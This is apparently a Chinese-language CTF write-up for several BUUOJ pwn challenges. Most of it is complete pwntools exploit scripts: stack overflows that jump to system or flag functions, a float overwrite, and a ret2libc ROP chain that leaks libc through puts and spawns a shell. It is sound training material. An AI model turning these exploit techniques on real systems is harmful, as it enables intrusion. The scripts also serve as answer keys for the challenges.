test_your_nc
连接一下拿flag
rip
简单运行一下看看程序的效果
ida分析一下是栈溢出,我们确定偏移量
然后找到system地址
写exp
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author:CyurL3
from pwn import *
ip = 'node3.buuoj.cn'
port = '26614'
r = remote(ip,port)
offset = 0xF + 0x8
system_addr = 0x40118A
payload = offset * 'A' + p64(system_addr)
r.sendline(payload)
r.interactive()
warmup_csaw_2016
看看程序功能
检查一下程序保护机制发现啥也没开,直接ida确定偏移量
发现system地址
写exp
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author:CyurL3
from pwn import *
#filename = ''
#procedure = './' + filename
#sh = process(procedure)
#elf = ELF(procedure)
ip = 'node3.buuoj.cn'
port = '25606'
r = remote(ip,port)
offset = 0x40 + 0x8
r.recvuntil(':')
cat_flag_addr = r.recvuntil('\n',drop = True)
cat_flag_addr = int(cat_flag_addr,16)
payload = offset * 'A' + p64(cat_flag_addr)
r.recvuntil('>')
r.sendline(payload)
r.interactive()
pwn1_sctf_2016
运行程序
然后我们ida分析一下,可以发现是c++写的(枯了)
然后有个很奇怪的点,可以发现我们输入的字符不足以造成栈溢出
不过下文好像是有那么一个把"I"替换成"you"的功能
我们运行一下程序
这样的话能把一个字符变成三个字符就能够进行溢出了
我们找system地址
编写exp
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author:CyurL3
from pwn import *
ip = 'node3.buuoj.cn'
port = '29955'
r = remote(ip,port)
offset = 0xC + 0x4
get_flag_addr = 0x08048F0D
payload = 20 * 'I' + p32(get_flag_addr) + p32(get_flag_addr)
r.sendline(payload)
r.interactive()
ciscn_2019_n_1
运行程序
进ida看看
应该是让我们溢出v2的值,让v2等于11.28125就能cat flag
那么问题就是11.28125在内存是如何表示的?
有一张图参考一下,不是本题重点,可自行查阅一下浮点数在内存中的表示方法
最终计算一下就是0x41348000
编写exp
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author:CyurL3
from pwn import *
ip = 'node3.buuoj.cn'
port = '26369'
r = remote(ip,port)
offset = 0x2C
payload = offset * 'A' + p64(0x41348000)
r.sendline(payload)
r.interactive()
ciscn_2019_c_1
这个题比上面四个加起来还难=.=
我们运行一下程序,发现有三个功能,第一个功能就是一个加密的功能,第二个功能没用,程序让我们自己解密。。。第三个功能程序直接退出了
ida发现加密函数是这样的
然后puts函数会输出加密后的信息
这个题没有后门之类的函数,需要我们构造ROP链,那么我们首先要拿到system函数或者execve这样的函数的地址,用LibcSearcher来搞
再次之前我们先要获取puts函数的地址,由于puts函数只有一个参数,也就是rdi寄存器里的,那么我们来找一下pop rdi;ret这样的片段,发现是有这种片段的
然而这个片段实际上是__libc_csu_init函数(一个初始化libc的函数)的片段,pop r15指令是三个16进制数,然而后两个十六进制数组合正好是pop rdi,也就是能用ROPgadget搜到的那个片段,由于我们只有一个参数,直接用那个片段来玩就行,不再展开用__libc_csu_init函数来构造ROP链了(wiki上有详细说明)
注意我们的payload会被加密,两次异或加密后还是其本身,所以我们自己来写个解密函数好了,由于两次payload的长度一样,所以第二次发payload就不会再被加密了(用ida分析可知)
直接贴个exp吧,注意,第二次的payload有一个栈对齐,所以我们加上一个ret指令来进行对齐即可
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author:CyurL3
from pwn import *
from LibcSearcher import LibcSearcher
ip = 'node3.buuoj.cn'
port = '27912'
r = remote(ip,port)
#sh = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')
offset = 0x58
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
gets_got = elf.got['gets']
main_addr = elf.symbols['main']
fregment_one = 0x400c7a
fregment_two = 0x400c60
pop_rdi_ret = 0x400c83
bss_base = elf.bss()
def encrypt(payload):
l = list(payload)
for i in range(len(l)):
if l[i].isdigit():
l[i] = chr(ord(l[i]) ^ 0xF)
elif l[i].isupper():
l[i] = chr(ord(l[i]) ^ 0xE)
elif l[i].islower():
l[i] = chr(ord(l[i]) ^ 0xD)
return ''.join(l)
r.recvuntil('Input your choice!\n')
r.sendline('1')
r.recvuntil('Input your Plaintext to be encrypted\n')
payload = offset * 'A' + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) +p64(main_addr)
payload = encrypt(payload)
r.sendline(payload)
r.recvuntil('Ciphertext\n')
r.recvuntil('\n')
puts_addr = u64(r.recvuntil('\n', drop=True).ljust(8,'\x00'))
print 'puts_addr:' + hex(puts_addr)
libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')
print 'system:' + hex(system_addr)
r.recvuntil('Input your choice!\n')
r.sendline('1')
r.recvuntil('Input your Plaintext to be encrypted\n')
ret_addr = 0x4006b9
payload = offset * 'A' + p64(ret_addr) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
#payload = encrypt(payload)
r.sendline(payload)
r.interactive()